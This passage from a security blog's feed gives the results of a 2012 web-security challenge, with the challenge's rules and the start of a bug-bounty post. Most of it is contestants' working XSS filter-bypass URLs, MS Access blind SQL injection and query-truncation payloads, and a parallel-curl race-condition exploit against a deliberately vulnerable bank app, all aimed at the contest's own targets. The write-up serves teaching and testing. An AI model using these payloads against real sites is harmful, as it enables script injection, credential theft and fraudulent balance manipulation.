<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&amp;input2=2'){}}%20try{/*&amp;input3=1*///'}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//</pre>
<p>@superevr (+NoScript, 2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&amp;input2=2'){}}%20try{/*&amp;input3=1*///'}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//</pre>
<p>@superevr (only 1 input):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=something&amp;input2=test1&amp;input3=*///')){}};alert(1);{{/*'</pre>
<p>@superevr (+NoScript):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=test1&amp;input2=2')){}}%20try{/*&amp;input3=1*///')}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//</pre>
<p>@peterjaric (input disorder?):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=a%27%29%29;}alert%28%%27Peter%20JariJ%27%29;{{/*&amp;input3=b%27%29;//*///%28%27&amp;input1=/*%27//</pre>
<p>@peterjaric (2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=a&amp;input2=%27%29;}alert%28%27Peter%20Jaric%27%29;{{/*&amp;input3=*///</pre>
<p>@yousukezan:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=*//*&amp;input2=%27%29;}alert%28%27yousuyousu%27%29;function%20f%28%29{{/*Something&amp;input3=SomethingElse*///</pre>
<p>@TheWildcat (+NoScript, Input disorder?):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input3=%2a%2f%20%26%26%20%61%31%2e%72%65%70%6c%61%63%65%28%2f%2e%2a%2f%67%2c%61%6c%65%72%74%29%20%7c%7c%20%27%3b%7d%7d%73%65%74%69%64%28%29%3b%7b%7b%2f%2f&amp;input1=%27%29%2c%61%31%3d%22%74%68%65%77%69%6c%64%63%61%74%22%2c%28%27&amp;input2=%79%79%79%27%2f%2a</pre>
<p>@yousukezan (2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=something//&amp;input2=test1&amp;input3=*///'));}alert('yousukezan');function%20f(){{/*</pre>
<p>@yousukezan (+NoScript, Only 1 input!):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input3=*///%27%29%29;}alert%28%27yousukezan%27%29;{{/*</pre>
<p>@skeptic_fx (+NoScript, 2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=one&amp;input2=100%27%29{}}alert%28/skeptic_fx/%29;/*&amp;input3=three%27;{{//*///</pre>
<p>@skeptic_fx (+NoScript, 2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one&amp;input3=')//*/{{//&amp;input2=test1').value){}}alert(/skeptic_fx/);/*</pre>
<p>@avlidienbrunn (2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&amp;input2=something'){}%0a}%0aalert(/avlidienbrunn/.source);/*&amp;input3=*/function%20die(){if(1==1){//</pre>
<h3></h3>
<h3>IE9 &amp; Google Chrome:</h3>
<p>@kkotowicz (Gareth Heyes Method):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=\&amp;input2=))a};alert('kkotowicz');;/*&amp;input3=)%2b'*/{{//'//</pre>
<p>@kkotowicz (IE9 only?, good obfuscation technique):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b%27//&amp;input2=%27%2F*&amp;input3=*/)){}};%2b{valueOf:location,toString:[].join,0:&quot;jav\x61script:alert\x28\&quot;kkotowicz\&quot;)&quot;,length:1};;;//');{{1//</pre>
<p>@kkotowicz (IE9 only?, good obfuscation technique):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=\&amp;input2=))a};%2b{valueOf:location,toString:[].join,0:&quot;jav\x61script:alert\x28\&quot;kkotowicz\&quot;)&quot;,length:1};;/*&amp;input3=)%2b'*/{{//'//</pre>
<p>@kkotowicz:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=\&amp;input2=))a};alert('kkotowicz');;/*&amp;input3=)%2b'*/{{//'//</pre>
<p>@kkotowicz (Input disorder):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input3=*/)){}};alert(&quot;kkotowicz&quot;);;;//');{{1//&amp;input1=one%22%2b%27//&amp;input2=%27%2F*</pre>
<p>@shafigullin:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=/*%20%20*/%20/*&amp;input2=%27%29%29%0A1};{y:{x:/*&amp;input3=*/%20alert%28%22@shafigullin%22%29%20//%20%27%29//</pre>
<p>@shafigullin:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=*/ //'));1 /*&amp;input2=*/; alert(&quot;@shafigullin&quot;); /*&amp;input3=*/;self.close=setid;if(true){{x:1/*</pre>
<p>@kinugawamasato (very interesting cross site technique, +NoScript):</p>
<pre class="brush: xml; title: ; notranslate">
&lt;iframe id=&quot;x&quot; src=&quot;http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=\&amp;input2=%29%29{}}location.href=name/*&amp;input3=%29;function%20a%28%29{//*/;function%20b%28%29{//&quot; width=&quot;320&quot; height=&quot;240&quot;&gt;&lt;/iframe&gt;
&lt;pre&gt;
&lt;script type=&quot;text/javascript&quot;&gt;// &lt;![CDATA[
document.getElementById('x').contentWindow.name=&quot;javascript:alert('Masato Kinugawa')&quot;;
// ]]&gt;&lt;/script&gt;
</pre>
<p>@kinugawamasato (very interesting cross site technique, +NoScript):</p>
<pre class="brush: xml; title: ; notranslate">
&lt;iframe src=&quot;http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=)){}}location.href=name;function%20a(){function%20b(){/*/%27&amp;input2=\&amp;input3=\&amp;quot; id=&quot; width=&quot;320&quot; height=&quot;240&quot;&gt;&lt;/iframe&gt;
&lt;pre&gt;
&lt;script type=&quot;text/javascript&quot;&gt;// &lt;![CDATA[
document.getElementById('x').contentWindow.name=&quot;javascript:alert('Masato Kinugawa')&quot;;
// ]]&gt;&lt;/script&gt;
</pre>
<p>@TheWildcat (Input disorder):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=%27%29%2c%28%27&amp;input3=%2a%2f%61%6c%65%72%74%28%22%74%68%65%77%69%6c%64%63%61%74%22%29%3b%20%7b%7b%20%2f%2f&amp;input2=%74%65%73%74%27%29%3b%7d%2f%2a</pre>
<p>@TheWildcat (Input disorder, +NoScript):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=%27%29%29%3b%2f%2a&amp;input3=%2a%2f%7d%61%6c%65%72%74%28%22%74%68%65%77%69%6c%64%63%61%74%22%29%3b%20%7b%7b%2f%2f</pre>
<p>@abysssec (2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&amp;input2=')/*&amp;input3=*/;}t();function t(){alert(/Milad/);{//</pre>
<p>@abysssec (2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=test1&amp;input2='))/*&amp;input3=*/alert(0);}t();function t(){alert(/Milad/);{//</pre>
<p>@avlidienbrunn (2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=AAAA&amp;input2=aa')==null){+}%0A/*&amp;input3=*/}+alert(/avlidienbrunn/.source);+function+die(){if(1==1){//</pre>
<p>@avlidienbrunn (2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&amp;input2=something')%7B%7D%0a/*&amp;input3=*/}alert(/avlidienbrunn/.source);function+x(){if(1==1){//</pre>
<p>@superevr (Gareth Heyes Method + Forcing IE9 to use standard mode, 2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://nevr.co.cc/imp.php?nofil&amp;plain_xss=&lt;!DOCTYPE html&gt;&lt;iframe src=&quot;http://sdl.me/challenge1/xss1/JsChallenge1.asp%3finput1=test1%26input2=2'){}}%20try{/*%26input3=1*///'}finally{onerror=alert;throw document.domain};{{//&quot;&gt;&lt;/iframe&gt;</pre>
<p>@superevr (Gareth Heyes Method + Forcing IE9 to use standard mode, 2 inputs):</p>
<pre class="brush: plain; title: ; notranslate">http://nevr.co.cc/imp.php?nofil&amp;plain_xss=&lt;!DOCTYPE html&gt;&lt;iframe src=&quot;http%3A%2f%2fsdl.me%2fchallenge1%2fxss2%2fJsChallenge2.asp%3Finput1%3Dtest1%26input2%3D2%27%29%29%7B%7D%7D%20try%7B%2f%2a%26input3%3D1%2a%2f%2f%2f%27%29%7Dfinally%7Bonerror%3Dalert%3Bthrow%20%27superevr%27%7D%3B%7B%7B%2f%2f&quot;&gt;&lt;/iframe&gt;</pre>
<h2></h2>
<h2>XSS3:</h2>
<p>I wanted to implement this in a way that you had to use HPP or other techniques in ASP to receive all the points. However, as you may know, its implementation went wrong and made it really impossible to be exploited in most of the browsers. You can still try to see if you can break it in Mozilla Firefox for example, I couldn’t.</p>
<h3></h3>
<h3>Results:</h3>
<p>This question is still exploitable in Internet Explorer by using the Conditional Comments in JavaScript (<a href="http://en.wikipedia.org/wiki/Conditional_comment">http://en.wikipedia.org/wiki/Conditional_comment</a>).</p>
<h3></h3>
<h3>Exploit/Vectors:</h3>
<p>@kinugawamasato (IE9 bypassed by me [@irsdl] by using homo-characters technique in the parameter name – will be explained in another blog post):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss3/JsChallenge3.asp?Input1=*/alert%28%22@kinugawamasato%20and%20@irsdl%22%29;{{//%20@end%20@*//*%27%29%29;};{1&amp;in%u2119ut1=1}/*@cc_on%20@if%281%291;@else</pre>
<p>@avlidienbrunn (IE9 cannot simply detect this!):</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/xss3/JsChallenge3.asp?input1=@end+function+x(){if(1==1){+//*/+alert(/avlidienbrunn/.source);+@if(!1)')==null){}}/*</pre>
<h2></h2>
<h2>SQL Injection:</h2>
<p>The first part of this question was a blind sql injection. The second part was a bit trickier as it was a MS Access database; you had to write your query in a way to run differently in the second execution of the Query. Free space character (“ ”) was also filtered and you had to use something else.</p>
<p>Anyone who could solve the second part, automatically had the answer of the first part as well. However, all the contestants solved the both parts separately.</p>
<h3></h3>
<h3>Results:</h3>
<p>The free space character could be replaced by Tab character (“%09”), Line Feed (“%0A”), Carriage Return (“%0D”), and a plus sign (“%2B”). Moreover, the following characters in UTF-8 can be used in ASP to do the same thing:</p>
<pre class="brush: plain; title: ; notranslate">%u 2556, %u 2510, %u 253c, %u 256c, %u 256b, %u 256a, %u 251c, %u 2518, %u 250c, %u 2514, %u 255d, %u 255a, %u 2553, %u 2555, %u ff0b, %u 255c, %u 255b, %u 2557, %u 2559, %u 2554, %u 2552, %u 2558</pre>
<p>.</p>
<p>The first part could be exploited by using the normal method of blind SQL injection. As you already had the sample database and the source code, it could be done easily.</p>
<p>For the second part, there were three kinds of solution:</p>
<p>1- (The easiest) using the terminator character for MS Access and change the sorting order:</p>
<p>First query:</p>
<pre class="brush: php; title: ; notranslate">Set rs1 = oConnection.execute(&quot;select username,permission from users where id=&quot; &amp; input_id &amp; &quot; Order by id&quot;)</pre>
<p>Second Query:</p>
<pre class="brush: php; title: ; notranslate">set rs2 = oConnection.execute(&quot;select username,password,permission from users where id=&quot; &amp; input_id &amp; &quot; Order by id&quot;)</pre>
<p>You can see that in the 2nd query, we have selected the “password” field in the second field which was not in the first query. Therefore, if we could order them by using the second field, we could solve this section. Second field in the first query is “permission” and in the second query is “password”. However, as the queries already have the “Order by” part, we have to truncate the query. According to “<a href="https://www.owasp.org/index.php/Testing_for_MS_Access">https://www.owasp.org/index.php/Testing_for_MS_Access</a>”, we can use the “%16” character to truncate the query. Note that null character “%00” cannot be used as it will terminate the text in ASP (before going to the query).</p>
<p>2- Using a time function with an IF condition in MS-Access:</p>
<p>As you may not be able to get the milliseconds in MS-Access, you need to create a delay between the first and the second queries.</p>
<p>3- Using a random number generator function with an IF condition in MS-Access:</p>
<p>Random number generator in MS-Access is a bit tricky as it can generate the same sequence of numbers whenever you run the application. However, you can use this feature (bug?) to have a stable exploit.</p>
<h3></h3>
<h3>Exploits/Vectors – Blind SQLi:</h3>
<p>@LightOS:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/sqli/exploitme.asp?id=IIF%28%28select%0ATOP%0A1%0Amid%28passworp,1,1%29%0Afrom%0Ausers%0Awhere%0Aid=8%29=chr%2874%29,1,2%29</pre>
<p>@kkotowicz:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/sqli/exploitme.asp?id=3%09UNION%09SELECT%09ALL%09top%091%09papasswo,'111'%09from%09users%09where%09id%3d8%16</pre>
<p>@spectresearch:</p>
<pre class="brush: plain; title: ; notranslate">http://0me.me/files/soroush.secproject.com/mdb_blind.py</pre>
<p>@avlidienbrunn:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/sqli/exploitme.asp?id=(-1)UNION%0ASELECT%0Ausername,password%0AFROM%0Ausers%0AWHERE%0Ausername='admin'%16</pre>
<p>@abysssec:</p>
<pre class="brush: plain; title: ; notranslate">http://0me.me/files/soroush.secproject.com/MS-Access.py</pre>
<p>@yousukezan:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/sqli/exploitme.asp?id=8%09and%09password%09like%09%27owasome![!-/][!-/]%27</pre>
<h3></h3>
<h3>Exploits/Vectors – Reading the Secret:</h3>
<p><strong>- Using ordering trick:    </strong></p>
<p>@kkotowicz:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/sqli/exploitme.asp?id=1%09or%09id%3d8%09order%09by%092%09desc,1%16</pre>
<p>@abysssec:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/sqli/exploitme.asp?id=1%0aor%0a1=1%0aorder%0aby%0a2%0adesc,id%16</pre>
<p>@LightOS:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/sqli/exploitme.asp?id=id%0dand%0did%0d%0din(1,8)%0dorder%0dby%0d2%0dDESC%16</pre>
<p><strong>- Using time functions:</strong></p>
<p>@spectresearch:</p>
<pre class="brush: plain; title: ; notranslate">http://0me.me/files/soroush.secproject.com/get_secret_area.py</pre>
<p>@TheWildcat:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/sqli/exploitme.asp?id=IIf(Second(now())%09Between%0933%09And%0934,1,8)%09and%09(SELECT%09count(*)%09FROM%09users%09AS%0920T1,%09users%09AS%09T2,%09users%09AS%09T3,%09users%09AS%09T4,%09users%09AS%09T5,%09users%09AS%09T6)%09NOT%09IN%09(1,2)</pre>
<p><strong>- Using random number generator:</strong></p>
<p>@peterjaric:</p>
<pre class="brush: plain; title: ; notranslate">http://sdl.me/challenge1/sqli/exploitme.asp?id=iif%28Int%281.7*Rnd%29,1,8%29</pre>
<h2></h2>
<h2>Vulnerable Bank Application:</h2>
<p style="text-align: justify;">It was a classic question about a vulnerable bank application. However, in here it was not vulnerable to a XSS or a SQL Injection, and you still had to increase your money. This is the current vulnerability of several web applications which do not have any protections against Race Condition issues.</p>
<h3></h3>
<h3>Results:</h3>
<p style="text-align: justify;">The problem that we had in this application was a race condition issue when it was getting the current amount and decreasing and increasing money in the database. You could increase your money basically be sending a lot of requests at the same time to transfer money from one account into another (the best exploitation technique is when you transfer money from one account into the other accounts at the same time [classic to saving and ISA in this example]). Even if I did not have any delay in the application it was still exploitable! Using Transactions (<a href="http://www.w3schools.com/ado/met_conn_begintrans.asp">http://www.w3schools.com/ado/met_conn_begintrans.asp</a>) could save this bank, but it could lead to a denial of service at the same time. The solution of this problem should be implemented really carefully to not lead to a dead-lock.</p>
<h3></h3>
<h3>Exploits:</h3>
<p>@peterjaric (Simple Explanation):</p>
<pre class="brush: plain; title: ; notranslate">(1) newBalanceDEC = cDbl(GetAmount(userID, fromacc) - amount)
(2) oConnection.execute(&quot;update accounts set &quot; &amp; fromacc &amp; &quot;=&quot;&amp;newBalanceDEC&amp;&quot; where [enabled]=1 AND ID=&quot;&amp;userID&amp;&quot;&quot;)
(3) newBalanceINC = cDbl(GetAmount(userID, toacc) + amount)
(4) oConnection.execute(&quot;update accounts set &quot; &amp; toacc &amp; &quot;=&quot;&amp;newBalanceINC&amp;&quot; where [enabled]=1 AND ID=&quot;&amp;userID&amp;&quot;&quot;)
There is no concept of thread safety in this code, so what could happen if two request to transfer money between the same two accounts would come in at the same time? There is no guarantee that one request (call it 'A') would run first and then the other (call it 'B'). They might get interleaved like for example this (assuming transfer of 1 from Classic account with 100 to Savings with 0):
A1 newBalanceDEC = 99
B1 newBalanceDEC = 99
A2 Classic = 99
B2 Classic = 99
A3 newBalanceINC = 1
A4 Saving = 1
B3 newBalanceINC = 2
B4 Saving = 2
</pre>
<p>@peterjaric (Simple Exploit):</p>
<pre class="brush: plain; title: ; notranslate">$ alias doit='curl http://localhost:9000/vulnbankapp/transfermoney.asp -d &quot;userID=36&amp;fromacc=1&amp;toacc=2&amp;amount=1&amp;password=123456&quot;'

$ doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit &amp; doit …</pre>
<p>@kkotowicz:</p>
<pre class="brush: plain; title: ; notranslate">http://0me.me/files/soroush.secproject.com/bank-App.py</pre>
<h3></h3>
<h3>Exploitation Video by using Burp Suite Pro.:</h3>
<p><object width="560" height="315"><param name="movie" value="http://www.youtube-nocookie.com/v/R3B3JaaYpbI?version=3&amp;hl=en_US&amp;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/R3B3JaaYpbI?version=3&amp;hl=en_US&amp;rel=0" type="application/x-shockwave-flash" width="560" height="315" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/06/challenge-series-1-result-and-conclusion/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Burp Suite Beautifier Extension</title>
		<link>http://soroush.secproject.com/blog/2012/06/burp-suite-beautifier-extension/</link>
		<comments>http://soroush.secproject.com/blog/2012/06/burp-suite-beautifier-extension/#comments</comments>
		<pubDate>Sun, 03 Jun 2012 22:16:17 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Normal Posts]]></category>
		<category><![CDATA[Beautifier Extension]]></category>
		<category><![CDATA[Burp Suite Beautifier]]></category>
		<category><![CDATA[Burp Suite Extension]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Rhino]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=553</guid>
		<description><![CDATA[I have updated my project section with a small project &#8220;Burp Suite Beautifier Extension&#8221;: http://soroush.secproject.com/blog/projects/burp-suite-beautifier/ Please let me know your opinion if you have used it. You can always send me your messages via Twitter &#8220;@irsdl&#8221;]]></description>
				<content:encoded><![CDATA[<p>I have updated my project section with a small project &#8220;Burp Suite Beautifier Extension&#8221;: <a href="http://soroush.secproject.com/blog/projects/burp-suite-beautifier/" title="Burp Suite Beautifier Extension link">http://soroush.secproject.com/blog/projects/burp-suite-beautifier/</a><br />
Please let me know your opinion if you have used it. You can always send me your messages via <a href="https://twitter.com/irsdl" title="My Twitter" target="_blank">Twitter &#8220;@irsdl&#8221;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/06/burp-suite-beautifier-extension/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SecProject Web AppSec Challenge – Series 1</title>
		<link>http://soroush.secproject.com/blog/2012/04/secproject-web-appsec-challenge-series-1/</link>
		<comments>http://soroush.secproject.com/blog/2012/04/secproject-web-appsec-challenge-series-1/#comments</comments>
		<pubDate>Sun, 29 Apr 2012 22:26:48 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Posts]]></category>
		<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Contest]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[Vulnerable Application]]></category>
		<category><![CDATA[Web AppSec Challenge]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=465</guid>
		<description><![CDATA[There are 5 web application security questions that have been set as a challenge. You will receive points based on your solutions (please see the Pointing System). The deadline for this challenge is end of May 2012. You can use your twitter ID to be followed by other people who follow this challenge. You can [...]]]></description>
				<content:encoded><![CDATA[<p>There are 5 web application security questions that have been set as a challenge. You will receive points based on your solutions (please see the Pointing System). The deadline for this challenge is end of May 2012.<br />
You can use your twitter ID to be followed by other people who follow this challenge. You can also send me a link to your blog/website/twitter to be linked in the table.<br />
Please send your solutions with the subject: “SecProject Web AppSec Chal1 – Your Name” to sdalilimail-challenge1 [at] yahoo [d0t] com. Please do not send the solutions to any other email address.</p>
<h2><strong>Hall of Fame: </strong></h2>
<p>There is a direct link to Hall of Fame accessible via Project menu:</p>
<p><strong><a href="http://soroush.secproject.com/blog/projects/hall-of-fame-challenge-series-1/">Click here to see <span style="color: #ff0000;">Hall of Fame</span></a></strong></p>
<p><strong> (<span style="color: #000000;"><em><a href="http://soroush.secproject.com/blog/projects/hall-of-fame-challenge-series-1/"><span style="color: #000000;">http://soroush.secproject.com/blog/projects/hall-of-fame-challenge-series-1/</span></a></em></span>) </strong></p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="272"><strong>Deadline: 1<sup>st</sup> of June – 24:00 GMT</strong></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<h3><strong>The rules are as follows:</strong></h3>
<h5><strong>General Rules:</strong></h5>
<p>1- Identical answers will be counted only for the first reporter.<br />
2- Please do not use automated tools on the targets as they can lead to a denial of service for other contestants.<br />
3- Please do not publish your answers till the deadline. Thanks in advance.</p>
<h5><strong>XSS Rule(s):</strong></h5>
<p>You need to “alert” your name on the screen. You are not allowed to create a new HTML tag.<br />
Note: it is ASP!&#8230;<br />
<strong></strong></p>
<h5><strong>SQL Injection Rule(s):</strong></h5>
<p>You need to exploit the provided sample website to: 1- read the admin password and 2- achieve the secret text which means you have reached the forbidden area successfully.<br />
I think you need to take a look at the source code for this one! The database is a MS Access database which makes it more challenging.</p>
<h5><strong>Vuln Bank Application Rule(s):</strong></h5>
<p>You need to increase your total money to more than 100.<br />
You have the source code (ASP VBScript) to be able to try this vulnerable bank application offline. (&#8220;resetall.asp&#8221; is just for debugging purposes)</p>
<h2>Questions are as follows:</h2>
<h5><strong>Download links are as follows:</strong></h5>
<p style="padding-left: 30px;">- <a href="http://Soroush.secproject.com/downloadable/secproject.com-challenge1.zip" target="_blank">http://Soroush.secproject.com/downloadable/secproject.com-challenge1.zip</a><br />
- <a href="http://sdl.me/challenge1/secproject.com-challenge1.zip" target="_blank">http://sdl.me/challenge1/secproject.com-challenge1.zip</a></p>
<h5><strong>XSS1:</strong></h5>
<p style="padding-left: 30px;">Test Target = <a href="http://sdl.me/challenge1/xss1/JsChallenge1.asp" target="_blank">http://sdl.me/challenge1/xss1/JsChallenge1.asp</a><br />
<strong></strong></p>
<h5><strong>XSS2:</strong></h5>
<p style="padding-left: 30px;">Test Target = <a href="http://sdl.me/challenge1/xss2/JsChallenge2.asp" target="_blank">http://sdl.me/challenge1/xss2/JsChallenge2.asp</a></p>
<h5><strong>XSS3:</strong></h5>
<p style="padding-left: 30px;">Test Target = <a href="http://sdl.me/challenge1/xss3/JsChallenge3.asp" target="_blank">http://sdl.me/challenge1/xss3/JsChallenge3.asp</a></p>
<h5><strong>SQL Injection:</strong></h5>
<p style="padding-left: 30px;">Test Target = <a href="http://sdl.me/challenge1/sqli/" target="_blank">http://sdl.me/challenge1/sqli/</a></p>
<h5><strong>Vuln Bank Application:</strong></h5>
<p style="padding-left: 30px;">Test Target = <a href="http://webapsecchall01.brinkster.net/vulnbankapp4543334/" target="_blank">http://webapsecchall01.brinkster.net/vulnbankapp4543334/</a> [currently does not work due to the hosting problem - please run it locally for your testing]<br />
<strong>Note:</strong> A fresh target will be provided for you if you can explain the vulnerability correctly and you want to exploit it.</p>
<h2>Goals and Pointing System:</h2>
<h5><strong>XSS Points (Max 60 Points – Per Each):</strong></h5>
<p style="padding-left: 30px;">Mozilla Firefox 12.0 without NoScript: <strong>+5 Points</strong><br />
IE9 Anti-XSS Bypass: <strong>+15 Points</strong><br />
Latest Chrome Anti-XSS Bypass: <strong>+10 Points</strong><br />
IE9 &amp; Chrome at the same time with 1 link: <strong>+5 Points</strong><br />
NoScript Bypass: <strong>+25 Points</strong><br />
<strong>Note:</strong> In order to get the points, you need to send me the link(s) that will lead to an “alert” message by opening it. If you are using any specific encoding/packing that make your inputs unreadable, you need to explain your method briefly. If each link is related to a specific browser, please mention that as well next to it.</p>
<p style="padding-left: 30px;"><span style="color: #000000;">Amendment (<em><span style="color: #ff0000;">new</span></em>):</span> <span style="color: #ff0000;"><strong>XSS3</strong></span> now has double points (120 points in total) due to a problem in its implementation which made it extremely hard. <strong></strong></p>
<h5><strong>SQL Injection Point (Max 60 Points):</strong></h5>
<p style="padding-left: 30px;">Reading the admin password: <strong>20 Points</strong><br />
Running the code in the critical area of the code and achieving the secret code: <strong>40 Points</strong><br />
<strong>Note:</strong> In order to get the points, you need to send me the link(s) that can perform the attack along with its explanation.<br />
<strong></strong></p>
<h5><strong>Virtual Bank Application Point (Max 60 Points):</strong></h5>
<p style="padding-left: 30px;">Correct Explanation: <strong>20 Points</strong><br />
Exploitation on a Custom Website: <strong>40 Points</strong><br />
<strong>Note:</strong> In order to get the points, please send your explanation in English. If you think it is easier for you to send me a video link for this exploit, you can also add that to your explanation. Please tell me if you want to exploit the vulnerability on a sample link, then I can send you the relevant link if your explanation was correct.</p>
<h2>History of These Questions:</h2>
<p>This challenge is based on real and interesting issues that I have seen during my web application testing. I thought it can be good to share some of them with you to challenge your skills. The XSS issues came from an issue in Yahoo.com website two years ago which has been fixed now. The SQL Injection issue was inside a popular web application which I cannot announce its name and you may already know it; and the last issue is a general vulnerability of many web applications.<br />
I have added some spice to the questions to make them even more interesting. All of these issues are exploitable (<strong>XSS3 has not been tested previously</strong>), but you need to be initiative to get more points.</p>
<p>&nbsp;</p>
<p><span style="color: #008000;"><strong>Thanks to:</strong></span> <a title="@0x6D6172696F" href="https://twitter.com/0x6D6172696F" target="_blank">Mario Heiderich</a>, <a title="@highjack1337" href="https://twitter.com/highjack1337" target="_blank">Ben Sheppard</a>, and <a title="@garethheyes" href="https://twitter.com/garethheyes" target="_blank">Gareth Heyes</a> for their comments on this challenge. As they do not have the answers, they can still attend this challenge!</p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/04/secproject-web-appsec-challenge-series-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sometimes no Ninja skill is required to receive money from security bug bounty programs!</title>
		<link>http://soroush.secproject.com/blog/2012/04/sometimes-no-ninja-skill-is-required-to-receive-money-from-security-bug-bounty-programs/</link>
		<comments>http://soroush.secproject.com/blog/2012/04/sometimes-no-ninja-skill-is-required-to-receive-money-from-security-bug-bounty-programs/#comments</comments>
		<pubDate>Mon, 09 Apr 2012 23:33:34 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[My Advisories]]></category>
		<category><![CDATA[Security Posts]]></category>
		<category><![CDATA[bug bounty]]></category>
		<category><![CDATA[facebook bug bounty]]></category>
		<category><![CDATA[facebook security bug]]></category>
		<category><![CDATA[security bug bounty]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=458</guid>
		<description><![CDATA[My name has recently been added to the “Facebook Whitehat (http://www.facebook.com/whitehat)” page among the other security researchers that have reported security issues to Facebook directly. I have also received a very good reward for this; it took them several months to investigate my request, but it was worth it. I am writing about it here [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">My name has recently been added to the “Facebook Whitehat (<a href="http://www.facebook.com/whitehat" target="_blank">http://www.facebook.com/whitehat</a>)” page among the other security researchers that have reported security issues to Facebook directly. I have also received a very good reward for this; it took them several months to investigate my request, but it was worth it.<br />
